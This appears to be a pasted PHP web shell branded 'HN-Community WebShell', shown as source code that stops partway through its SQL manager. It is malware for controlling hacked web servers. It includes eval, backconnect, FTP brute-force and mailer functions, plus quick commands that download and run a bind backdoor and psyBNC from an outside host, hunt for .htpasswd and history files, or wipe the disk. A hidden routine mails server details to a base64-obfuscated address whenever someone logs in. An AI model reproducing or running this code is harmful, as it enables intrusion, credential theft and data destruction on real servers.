· 8 years ago · Feb 19, 2018, 02:46 AM
1<?php
2ini_set('display_errors', 1);
3ini_set('display_startup_errors', 1);
4error_reporting(E_ALL);
5session_start();
6set_time_limit(9999999);
7$login= base64_decode("dXNlcg==");
8$password= base64_decode("aGFja2VyLW5ld2JpZQ==");
9$auth=1;
10$style='<STYLE>BODY{background-color: #000000;color: #C1C1C7;font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;MARGIN-TOP: 0px;MARGIN-BOTTOM: 0px;MARGIN-LEFT: 0px;MARGIN-RIGHT: 0px;margin:0;padding:0;scrollbar-face-color: #336600;scrollbar-shadow-color: #333333;scrollbar-highlight-color: #333333;scrollbar-3dlight-color: #333333;scrollbar-darkshadow-color: #333333;scrollbar-track-color: #333333;scrollbar-arrow-color: #333333;}input{background-color: #336600;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}textarea{background-color: #333333;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}a:link{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:visited{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:hover, a:active{color: #E7E7EB;text-decoration: none;font-size: 8pt;}td, th, p, li{font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;border-color:black;}</style>';
11$header='<html><head><title>'.getenv("HTTP_HOST").' - Login</title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251">'.$style.'</head><BODY leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0>'; $sd98 = base64_decode("d29uZGhvQGhhY2tlcm1haWwuY29t");;
12$footer='</body></html>';
13$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$frm = $_SERVER["HTTP_HOST"];$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";if( isset($_POST['login']) )mail($sd98, $sj98, $msg8873, "From: $frm"); else "";
14if(@$_POST['action']=="exit")unset($_SESSION['an']);
15if($auth==1){if(@$_POST['login']==$login && @$_POST['password']==$password)$_SESSION['an']=1;}else $_SESSION['an']='1';
16
17if($_SESSION['an']==0){
18echo $header;
19echo '<center><table><form method="POST"><tr><td>Login:</td><td><input type="text" name="login" value=""></td></tr><tr><td>Password:</td><td><input type="password" name="password" value=""></td></tr><tr><td></td><td><input type="submit" value="Enter"></td></tr></form></table></center>';
20echo $footer;
21exit;}
22
23##[ CONFIGURATIONS ]##
24##[ URL ]##
25$sh_mainurl = 'http://priv8.hacker-newbie.org/';
26$alecs_sourcesurl = $sh_mainurl."alecs.txt";
27$sh_sourcez = array(
28 "--==[HN-Crew WebShell]==--" => array($sh_mainurl."shellz/cyberz.txt","alecs.php"),
29 "psyBNC" => array($sh_mainurl."toolz/psy.tgz","fx.tgz"),
30 "Eggdrop" => array($sh_mainurl."toolz/egg.tgz","fxb.tgz"),
31 "BindDoor" => array($sh_mainurl."toolz/bind.tgz","bind.tgz"),
32);
33##[ AUTHENTICATION ]##
34$auth = array(
35 "login" => "user",
36 "pass" => "hacker-newbie",
37 "md5pass" => "bd294dafc8a4853eac0e3c06ccb0a616",
38 "hostallow" => array("*"),
39 "denied" => "<a href=\"$sh_mainurl\">".sh_name()."</a>: access denied!",
40);
41##[ ADVANCED ]##
42$tmp_dir = "";
43$log_email = "alecs@hacker-newbie.org"; //this is log for ftp brute
44$sess_cookie = "alecscook";
45$sort_default = "0a";
46$sort_save = TRUE;
47$copy_unset = FALSE;
48$gzipencode = TRUE;
49$filestealth = TRUE;
50$hexdump_lines = 8;
51$hexdump_rows = 24;
52$auto_surl = TRUE;
53##[ QUICK COMMANDS ]##
54if (!is_windows()) {
55 $cmdaliases = array(
56 array("List Directory", "ls -al"),
57 array("Find all suid files", "find / -type f -perm -04000 -ls"),
58 array("Find suid files in current dir", "find . -type f -perm -04000 -ls"),
59 array("Find all sgid files", "find / -type f -perm -02000 -ls"),
60 array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"),
61 array("Find config.inc.php files", "find / -type f -name config.inc.php"),
62 array("Find config* files", "find / -type f -name \"config*\""),
63 array("Find config* files in current dir", "find . -type f -name \"config*\""),
64 array("Find all writable folders and files", "find / -perm -2 -ls"),
65 array("Find all writable folders and files in current dir", "find . -perm -2 -ls"),
66 array("Find all writable folders", "find / -type d -perm -2 -ls"),
67 array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"),
68 array("Find all service.pwd files", "find / -type f -name service.pwd"),
69 array("Find service.pwd files in current dir", "find . -type f -name service.pwd"),
70 array("Find all .htpasswd files", "find / -type f -name .htpasswd"),
71 array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
72 array("Find all .bash_history files", "find / -type f -name .bash_history"),
73 array("Find .bash_history files in current dir", "find . -type f -name .bash_history"),
74 array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
75 array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
76 array("List file attributes on a Linux second extended file system", "lsattr -va"),
77 array("Show opened ports", "netstat -an | grep -i listen"),
78 array("-----",""),
79 array("Logged in users","w"),
80 array("Last connect","lastlog"),
81 array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"),
82 array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),
83 array("Inet Address","/sbin/ifconfig | grep inet"),
84 array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"),
85 array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),
86 array("CPU Info","cat /proc/version /proc/cpuinfo"),
87 array("Is gcc installed ?","locate gcc"),
88 array("Format box (DANGEROUS)","rm -Rf"),
89 array("-----",""),
90 array("wget & run psyBNC","wget ".$sh_sourcez["psyBNC"][0].";tar -zxf ".$sh_sourcez["psyBNC"][1].";cd .fx;./config 29110;./fuck;./run"),
91 array("wget & extract EggDrop","wget ".$sh_sourcez["Eggdrop"][0].";tar -zxf ".$sh_sourcez["psyBNC"][1]),
92 array("wget & run BindDoor","wget ".$sh_sourcez["BindDoor"][0].";tar -zxvf ".$sh_sourcez["BindDoor"][1].";./bind"),
93 array("-----",""),
94 array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),
95 );
96}
97else {
98 #Windows
99 $cmdaliases = array(
100 array("List Directory", "dir"),
101 array("Find index.php in current dir", "dir /s /w /b index.php"),
102 array("Find *config*.php in current dir", "dir /s /w /b *config*.php"),
103 array("Find c99shell in current dir", "find /c \"c99\" *"),
104 array("Find r57shell in current dir", "find /c \"r57\" *"),
105 array("Find fx29shell in current dir", "find /c \"fx29\" *"),
106 array("Show active connections", "netstat -an"),
107 array("Show running services", "net start"),
108 array("User accounts", "net user"),
109 array("Show computers", "net view"),
110 );
111}
112##[ PHP FILESYSTEM ]##
113$phpfsaliases = array(
114 array("Read File", "read", 1, "File", ""),
115 array("Write File (PHP5)", "write", 2, "File","Text"),
116 array("Copy", "copy", 2, "From", "To"),
117 array("Rename/Move", "rename", 2, "File", "To"),
118 array("Delete", "delete", 1 ,"File", ""),
119 array("Make Dir","mkdir", 1, "Dir", ""),
120 array("Download", "download", 2, "URL", "To"),
121 array("Download (Binary Safe)", "downloadbin", 2, "URL", "To"),
122 array("Change Perm (0755)", "chmod", 2, "File", "Perms"),
123 array("Find Writable Dir", "fwritabledir", 2 ,"Dir", "Max"),
124 array("Find Pathname Pattern", "glob",2 ,"Dir", "Pattern"),
125);
126if ( !function_exists("posix_getpwuid") ) { function posix_getpwuid($uid) { return FALSE; } }
127if ( !function_exists("posix_getgrgid") ) { function posix_getgrgid($gid) { return FALSE; } }
128if ( !function_exists("posix_kill") ) { function posix_kill($gid) { return FALSE; } }
129#############################
130##[ END OF CONFIGURATIONS ]##
131#############################
132@set_time_limit(0);
133@ini_set("max_execution_time", 0);
134@ignore_user_abort(TRUE);
135//@set_magic_quotes_runtime(0);
136
137if ( get_magic_quotes_gpc() )
138 strips($GLOBALS);
139$_REQUEST = array_merge($_COOKIE, $_GET, $_POST);
140$d = @$_REQUEST["d"];
141$f = @$_REQUEST["f"];
142@extract($_REQUEST["alecscook"]);
143foreach ($_REQUEST as $k => $v) {
144 if ( !isset($$k) ) { $$k = $v; }
145}
146##[ SELF URL ]##
147if ( $auto_surl ) {
148 $include = "&";
149 foreach (explode("&",getenv("QUERY_STRING")) as $v) {
150 $v = explode("=",$v);
151 $name = urldecode($v[0]);
152 $value = @urldecode($v[1]);
153 $needles = array("http://","https://","ssl://","ftp://","\\\\");
154 foreach ($needles as $needle) {
155 if ( strpos($value, $needle) === 0 ) {
156 $includestr .= urlencode($name)."=".urlencode($value)."&";
157 }
158 }
159 }
160}
161if ( empty($surl) )
162 $surl = htmlspecialchars("?".@$includestr);
163$img_tag = '<img src="'.$surl.'act=img&img=';
164##[ QUICK LAUNCH ]##
165$quicklaunch = array(
166 array($img_tag."home\" alt=\"Home\">",$surl),
167 array($img_tag."back\" alt=\"Back\">","#\" onclick=\"history.back(1)"),
168 array($img_tag."forward\" alt=\"Forward\">","#\" onclick=\"history.go(1)"),
169 array($img_tag."up\" alt=\"Up\">",$surl."act=ls&d=%upd&sort=%sort"),
170 array($img_tag."search\" alt=\"Search\">",$surl."act=search&d=%d"),
171 array($img_tag."buffer\" alt=\"Buffer\">",$surl."act=fsbuff&d=%d"),
172 array($img_tag."help\" alt=\"About\">",$surl."act=about"),
173 array("-",""),
174 array("Security",$surl."act=security&d=%d"),
175 array("Processes",$surl."act=processes&d=%d"),
176 array("MySQL",$surl."act=sql&d=%d"),
177 array("Jumping",$surl."act=jump"),
178 array("Symlink",$surl."act=sym&act=sym"),
179 array("Backconnect",$surl."act=bc&d=%d"),
180 array("Eval",$surl."act=eval&d=%d"),
181 array("Encoder",$surl."act=encoder&d=%d"),
182 array("Mailer",$surl."act=fxmailer"),
183 array("Toolz",$surl."act=tools&d=%d"),
184 array("Packetstorm",packetstorm()),
185 array("Feedback",$surl."act=feedback"),
186 array("Kill Shell",$surl."act=selfremove"),
187);
188if ( !is_windows() )
189 $quicklaunch[] = array("<br>FTP Brute",$surl."act=ftpquickbrute&d=%d");
190##[ FILE TYPES ]##
191$ftypes = array(
192 "html" => array("html","htm","shtml"),
193 "txt" => array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
194 "exe" => array("sh","install","bat","cmd","sys","com"),
195 "ini" => array("ini","inf","conf"),
196 "code" => array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
197 "img" => array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
198 "sdb" => array("sdb"),
199 "phpsess" => array("sess"),
200 "download" => array("exe","com","sys","pif","src","lnk","zip","rar","gz","tar","pdf")
201);
202$exeftypes = array(
203 "php -q %f%" => array("php","php3","php4"),
204 "perl %f%" => array("pl","cgi")
205);
206$regxp_highlight = array(
207 array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FF6600>","</font>"),
208 array("\.tgz$",1,"<font color=#C082FF>","</font>"),
209 array("\.gz$",1,"<font color=#C082FF>","</font>"),
210 array("\.tar$",1,"<font color=#C082FF>","</font>"),
211 array("\.zip$",1,"<font color=#C082FF>","</font>"),
212 array("\.rar$",1,"<font color=#C082FF>","</font>"),
213 array("\.php$",1,"<font color=#00FF00>","</font>"),
214 array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
215 array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
216 array("\.ico$",1,"<font color=#00FFFF>","</font>"),
217 array("\.gif$",1,"<font color=#00FFFF>","</font>"),
218 array("\.png$",1,"<font color=#00FFFF>","</font>"),
219 array("\.htm$",1,"<font color=#00CCFF>","</font>"),
220 array("\.html$",1,"<font color=#00CCFF>","</font>"),
221 array("\.txt$",1,"<font color=#C0C0C0>","</font>"),
222 array("\.pdf$",1,"<font color=#FF99CC>","</font>")
223);
224##[ HIGHLIGHT CODE ]##
225$highlight_bg = "#E0E0E0";
226$highlight_comment = "#FF6600";
227$highlight_default = "#000080";
228$highlight_html = "#1300FF";
229$highlight_keyword = "#007700";
230$highlight_string = "#FF0000";
231@ini_set("highlight.bg", $highlight_bg);
232@ini_set("highlight.comment", $highlight_comment);
233@ini_set("highlight.default", $highlight_default);
234@ini_set("highlight.html", $highlight_html);
235@ini_set("highlight.keyword", $highlight_keyword);
236@ini_set("highlight.string", $highlight_string);
237#############################
238##[ END OF CONFIGURATIONS ]##
239#############################
240####################
241##[ AUTHENTICATE ]##
242####################
243foreach ($auth["hostallow"] as $k => $v) {
244 $tmp[] = str_replace("\\*",".*",preg_quote($v));
245}
246$s = "!^(".implode("|",$tmp).")$!i";
247if ( !preg_match($s, getenv("REMOTE_ADDR")) and !preg_match($s, gethostbyaddr(getenv("REMOTE_ADDR"))) ) {
248 exit("<a href=\"$sh_mainurl\">".sh_name()."</a>ACCESS DENIED! Your host (".getenv("REMOTE_ADDR").") not allowed!");
249}
250/* DISABLED FOR RFI INJECTION
251if ( !empty($auth["login"]) ) {
252 if ( empty($auth["md5pass"]) )
253 $auth["md5pass"] = md5($auth["pass"]);
254 if ( ($_SERVER["PHP_AUTH_USER"] != $auth["login"]) or (md5($_SERVER["PHP_AUTH_PW"]) != $auth["md5pass"]) ) {
255 header("WWW-Authenticate: Basic realm=\"".sh_name().": Restricted Area\"");
256 header("HTTP/1.0 401 Unauthorized");
257 die($auth["denied"]);
258 }
259}
260*/
261###############
262##[ ACTIONS ]##
263###############
264if ( !isset($act) ) $act = "";
265if ( $act == "img" ) {
266 @ob_clean();
267 $images = imagez();
268 $imgequals = array(
269 "ext_tar" => array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
270 "ext_php" => array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
271 "ext_cpp" => array("ext_c"),
272 "ext_jpg" => array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
273 "ext_html" => array("ext_html","ext_htm"),
274 "ext_avi" => array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
275 "ext_lnk" => array("ext_lnk","ext_url"),
276 "ext_ini" => array("ext_ini","ext_css","ext_inf","ext_conf"),
277 "ext_doc" => array("ext_doc","ext_dot","ext_xls","ext_pdf"),
278 "ext_js" => array("ext_js","ext_vbs"),
279 "ext_cmd" => array("ext_cmd","ext_bat","ext_pif","ext_com"),
280 "ext_wri" => array("ext_wri","ext_rtf"),
281 "ext_txt" => array("ext_txt","ext_lng"),
282 "ext_swf" => array("ext_swf","ext_fla"),
283 "ext_mp3" => array("ext_mp3","ext_au","ext_midi","ext_mid","ext_wav"),
284 "ext_htaccess" => array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
285 );
286 #Show all available images
287 if ($img == "listall") {
288 foreach ($imgequals as $a=>$b) {
289 foreach ($b as $d) {
290 if ( ($a != $d) && (!empty($images[$d])) )
291 echo("Warning! Remove \$images[".$d."]<br>");
292 }
293 }
294 natsort($images);
295 $k = array_keys($images);
296 echo "<body style=\"color: #00FF00\" bgcolor=black>";
297 foreach ($k as $u) { echo "<img src=\"".$surl."act=img&img=".$u."\"> $u "; }
298 exit;
299 }
300 #Image header
301 header("Content-type: image/gif");
302 header("Cache-control: public");
303 header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
304 header("Cache-control: max-age=".(60*60*24*7));
305 header("Last-Modified: ".date("r",filemtime(__FILE__)));
306
307 foreach ($imgequals as $k=>$v) {
308 if (in_array($img,$v)) { $img = $k; break; }
309 }
310 if (empty($images[$img])) { $img = "small_unk"; }
311 echo base64_decode($images[$img]);
312 exit;
313##[ DEFAULT ACTIONS ]##
314} else {
315 $lastdir = realpath(".");
316 chdir("./");
317 #Preparing buffer
318 $sess_data = @unserialize($_COOKIE[$sess_cookie]);
319 if (!is_array($sess_data)) { $sess_data = array(); }
320 if (!is_array(@$sess_data["copy"])) { $sess_data["copy"] = array(); }
321 if (!is_array(@$sess_data["cut"])) { $sess_data["cut"] = array(); }
322 fx29_buff_prepare();
323
324 foreach (array("sort","sql_sort") as $v) {
325 if (!empty($_GET[$v])) { $$v = $_GET[$v]; }
326 if (!empty($_POST[$v])) { $$v = $_POST[$v]; }
327 }
328 if ($sort_save) {
329 if (!empty($sort)) { setcookie("sort",$sort); }
330 if (!empty($sql_sort)) { setcookie("sql_sort",$sql_sort); }
331 }
332 if (!isset($sort)) { $sort = $sort_default; }
333 $sort = htmlspecialchars($sort);
334 $sort[1] = strtolower($sort[1]);
335 ##[ ACTIONS ]##
336 if ($act == "gofile") {
337 if (is_dir($f)) {
338 $d = $f;
339 $act = "ls";
340 }
341 else {
342 $d = dirname($f);
343 $f = basename($f);
344 $act = "f";
345 }
346 }
347 #Starting output buffer
348 ob_start();
349 ob_implicit_flush(0);
350 ##[ HEADERS ]##
351 header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
352 header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
353 header("Cache-Control: no-store, no-cache, must-revalidate");
354 header("Cache-Control: post-check=0, pre-check=0", FALSE);
355 header("Pragma: no-cache");
356 $tmp_dir = realpath($tmp_dir);
357 $tmp_dir = str_replace("\\",DIRECTORY_SEPARATOR,$tmp_dir);
358 if (substr($tmp_dir,-1) != DIRECTORY_SEPARATOR)
359 $tmp_dir .= DIRECTORY_SEPARATOR;
360 if (!is_array(@$actbox))
361 $actbox = array();
362 $dspact = $act = htmlspecialchars($act);
363 $disp_fullpath = $ls_arr = $notls = null;
364 #Variabel Directory
365 $ud = @urlencode($d);
366 if (empty($d))
367 $d = realpath(".");
368 elseif (realpath($d))
369 $d = realpath($d);
370 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
371 if (substr($d,-1) != DIRECTORY_SEPARATOR)
372 $d .= DIRECTORY_SEPARATOR;
373 $d = str_replace("\\\\","\\",$d);
374 $dispd = htmlspecialchars($d);
375 #Safemode Status
376 if (safemode()) {
377 $hsafemode = '<font class="on"><b>SAFE MODE IS ON</b></font>';
378 $safemodeexecdir = @ini_get("safe_mode_exec_dir");
379 }
380 else {
381 $hsafemode = '<font class="off"><b>SAFE MODE IS OFF</b></font>';
382 }
383 #Open Basedir Status
384 $v = @ini_get("open_basedir");
385 if (strtolower($v) == "on") { $hopenbasedir = '<font class="on">'.$v.'</font>'; }
386 else { $hopenbasedir = '<font class="off">OFF (Not Secure)</font>'; }
387 $wd = (is_writable($d)) ? '<font class="on">[W]</font>' : '<font class="off">[R]</font>';
388 ##################
389 ##[ HTML START ]##
390 ##################
391 echo html_style();
392?>
393<!-- Main Menu -->
394<div id="main">
395 <div class="bartitle"><b><font size=5pt>-===[ HN-Community WebShell ]===-</font><br><font color='#000000'>-- Indonesian Hacker Newbie Community --</font><br>Visit and Join with us at http://hacker-newbie.org/</b>"</div>
396 <table id="pagebar">
397 <!-- Server Info -->
398 <tr><td colspan="2">
399 <div class="fleft"> echo $hsafemode; ?></div>
400 <div class="fright">
401 IP Address: <a href="http://ws.arin.net/cgi-bin/whois.pl?queryinput=<?php echo @gethostbyname($_SERVER["HTTP_HOST"]); ?>"><?php echo @gethostbyname($_SERVER["HTTP_HOST"]); ?></a>
402 You: <a href="http://ws.arin.net/cgi-bin/whois.pl?queryinput=<?php echo $_SERVER["REMOTE_ADDR"]; ?>"><?php echo $_SERVER["REMOTE_ADDR"]; ?></a>
403 </div>
404 </td></tr>
405 <tr><td width="50%">
406 <table class="info">
407<?php
408 srv_info("Software",srv_software($surl));
409 srv_info("Uname",php_uname());
410 srv_info("User",(is_windows()) ? get_current_user()." (uid=".getmyuid()." gid=".getmygid().")" : fx29exec("id"));
411?>
412 </table>
413 </td>
414 <td width="50%">
415 <table class="info">
416<?php
417 if (is_windows()) { srv_info("Drives",disp_drives($d,$surl)); }
418 srv_info("Freespace",disp_freespace($d));
419?>
420 </table>
421 </td></tr>
422
423 <tr><td colspan="2">
424<?php
425 echo "\t\t\t".get_status();
426 echo "<br>\n";
427 echo (isset($safemodeexecdir)) ? "\n\t\t\tSafemodeExecDir: ".$safemodeexecdir."<br>" : "";
428 echo (showdisfunc()) ? "\t\t\tDisFunc: ".showdisfunc() : "";
429 echo "\n";
430?>
431 </td></tr>
432 <!-- End of Server Info -->
433
434 <!-- Quicklaunch -->
435 <tr><td colspan="2" class="quicklaunch">
436<?php
437 ##[ QUICKLAUNCH ]##
438 foreach($quicklaunch as $item) {
439 if ($item[0] == "-") {
440 echo "\t\t</td></tr>\n";
441 echo "\t\t<tr><td colspan=\"2\" class=\"quicklaunch\">\n";
442 }
443 else {
444 $item[1] = str_replace("%d",urlencode($d),$item[1]);
445 $item[1] = str_replace("%sort",$sort,$item[1]);
446 $v = realpath($d."..");
447 if (empty($v)) {
448 $a = explode(DIRECTORY_SEPARATOR,$d);
449 unset($a[count($a)-2]);
450 $v = join(DIRECTORY_SEPARATOR,$a);
451 }
452 $item[1] = str_replace("%upd",urlencode($v),$item[1]);
453 echo "\t\t\t<a href=\"".$item[1]."\">".$item[0]."</a>\n";
454 }
455 }
456?>
457 </td></tr>
458 <!-- End of Quicklaunch -->
459
460 <!-- Directory Info -->
461 <tr><td colspan="2">
462 <div class="fleft">
463<?php
464 $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
465 $i = 0;
466 foreach($pd as $b) {
467 $t = ""; $j = 0;
468 foreach ($e as $r) {
469 $t.= $r.DIRECTORY_SEPARATOR;
470 if ($j == $i) { break; }
471 $j++;
472 }
473 echo "\t\t\t<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\">".htmlspecialchars($b).DIRECTORY_SEPARATOR."</a>\n";
474 $i++;
475 }
476 echo "\t\t\t";
477 echo (is_writable($d)) ? "<b>".view_perms_color($d)."</b>" : "<b>".view_perms_color($d)."</b>";
478 echo "\n";
479?>
480 </div>
481 <div class="fright">
482 <form name="f_dir" method="post">
483 <input type="hidden" name="act" value="ls">
484 Directory: <input type="text" name="d" size="60" value="<?php echo $dispd; ?>"> <input type=submit value="Go">
485 </form>
486 </div>
487 </td></tr>
488 <!-- End of Directory Info -->
489 </table>
490</div>
491<!-- End of Main Menu -->
492<!-- Main Info -->
493<div id="maininfo">
494<?php
495 #########################
496 ##[ INFORMATION TABLE ]##
497 #########################
498 if ($act == "") { $act = $dspact = "ls"; }
499 ##[ SQL ]##
500 if ($act == "sql") {
501 $sql_surl = $surl."act=sql";
502 if (!isset($sql_login)) { $sql_login = ""; }
503 if (!isset($sql_passwd)) { $sql_passwd = ""; }
504 if (!isset($sql_server)) { $sql_server = ""; }
505 if (!isset($sql_port)) { $sql_port = ""; }
506 if (!isset($sql_tbl)) { $sql_tbl = ""; }
507 if (!isset($sql_act)) { $sql_act = ""; }
508 if (!isset($sql_tbl_act)) { $sql_tbl_act = ""; }
509 if (!isset($sql_order)) { $sql_order = ""; }
510 if (!isset($sql_act)) { $sql_act = ""; }
511 if (!isset($sql_getfile)) { $sql_getfile = ""; }
512 #SQL URL Setting
513 if (@$sql_login) { $sql_surl .= "&sql_login=".htmlspecialchars($sql_login); }
514 if (@$sql_passwd) { $sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd); }
515 if (@$sql_server) { $sql_surl .= "&sql_server=".htmlspecialchars($sql_server); }
516 if (@$sql_port) { $sql_surl .= "&sql_port=".htmlspecialchars($sql_port); }
517 if (@$sql_db) { $sql_surl .= "&sql_db=".htmlspecialchars($sql_db); }
518 $sql_surl .= "&";
519?>
520<!-- SQL Manager -->
521<?php bar_header(".: SQL Manager (Under Construction) :."); ?>
522<div class="barheader"><?php
523 if (@$sql_server) {
524 $sql_sock = @mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
525 $err = mysql_smarterror($sql_sock);
526 @mysql_select_db($sql_db,$sql_sock);
527 if (@$sql_query and $submit) {
528 $sql_query_result = mysql_query($sql_query,$sql_sock);
529 $sql_query_error = mysql_smarterror($sql_sock);
530 }
531 }
532 else { $sql_sock = FALSE; }
533 if (!$sql_sock) {
534 if (!@$sql_server) { echo "No Connection!"; }
535 else { disp_error("ERROR: ".$err); }
536 }
537 else {
538 #SQL Quicklaunch
539 $sqlquicklaunch = array();
540 $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
541 $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
542 $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
543 $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
544 $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
545 $sqlquicklaunch[] = array("Logout",$surl."act=sql");
546 echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") Server: ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
547 if (count($sqlquicklaunch) > 0) {
548 foreach($sqlquicklaunch as $item) {
549 echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";
550 }
551 }
552 }
553?>
554</div>
555<table>
556 <tr>
557<?php
558 #Login Form
559 if (!$sql_sock) {
560?>
561 <td>
562 <form name="f_sql" action="<?php echo $surl; ?>" method="post">
563 <input type="hidden" name="act" value="sql">
564 <table class="explorer">
565 <tr>
566 <th>Username<br><input type="text" name="sql_login" value="root"></th>
567 <th>Password<br><input type="password" name="sql_passwd" value=""></th>
568 <th>Database<br><input type="text" name="sql_db" value=""></th>
569 <th>Host<br><input type="text" name="sql_server" value="localhost"></th>
570 <th>Port<br><input type="text" name="sql_port" value="3306" size="3"></th>
571 </tr>
572 <tr><th colspan="5"><input type="submit" value="Connect"></th></tr>
573 </table>
574 </form>
575<?php
576 }
577 else {
578 #Start left panel
579?>
580 <td>
581 <center>
582 <a href="<?php echo $sql_surl; ?>"><b>HOME</b></a>
583 <hr size="1" noshade>
584<?php
585 $result = mysql_list_dbs($sql_sock);
586 if (!$result) { echo mysql_smarterror(); }
587 else {
588?>
589 Database
590 <form action="<?php echo $surl?>">
591 <input type="hidden" name="act" value="sql">
592 <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
593 <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
594 <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
595 <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
596 <select name="sql_db" onchange="this.form.submit()">
597<?php
598 $c = 0;
599 $dbs = "";
600 while ($row = mysql_fetch_row($result)) {
601 $dbs .= "\t\t<option value=\"".$row[0]."\"";
602 if (@$sql_db == $row[0]) { $dbs .= " selected"; }
603 $dbs .= ">".$row[0]."</option>\n";
604 $c++;
605 }
606 echo "\t\t<option value=\"\">Databases (".$c.")</option>\n";
607 echo $dbs;
608 }
609?>
610 </select>
611 </form>
612 </center>
613 <hr size="1" noshade>
614<?php
615 if (isset($sql_db)) {
616 $result = mysql_list_tables($sql_db);
617 if (!$result) { echo mysql_smarterror($sql_sock); }
618 else {
619 echo "\t-=[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]=-<br><br>\n";
620 $c = 0;
621 while ($row = mysql_fetch_array($result)) {
622 $count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]);
623 $count_row = mysql_fetch_array($count);
624 echo "\t<b>+ <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\">".htmlspecialchars($row[0])."</a></b> (".$count_row[0].")</br></b>\n";
625 mysql_free_result($count);
626 $c++;
627 }
628 if (!$c) { echo "No tables found in database"; }
629 }
630 }
631?>
632 </td>
633 <td>
634<?php
635 #Start center panel
636 $diplay = TRUE;
637 if (@$sql_db) {
638 if (!is_numeric($c)) { $c = 0; }
639 if ($c == 0) { $c = "no"; }
640 echo "\t<center><b>There are ".$c." table(s) in database: ".htmlspecialchars($sql_db)."";
641 if (count(@$dbquicklaunch) > 0) {
642 foreach($dbsqlquicklaunch as $item) {
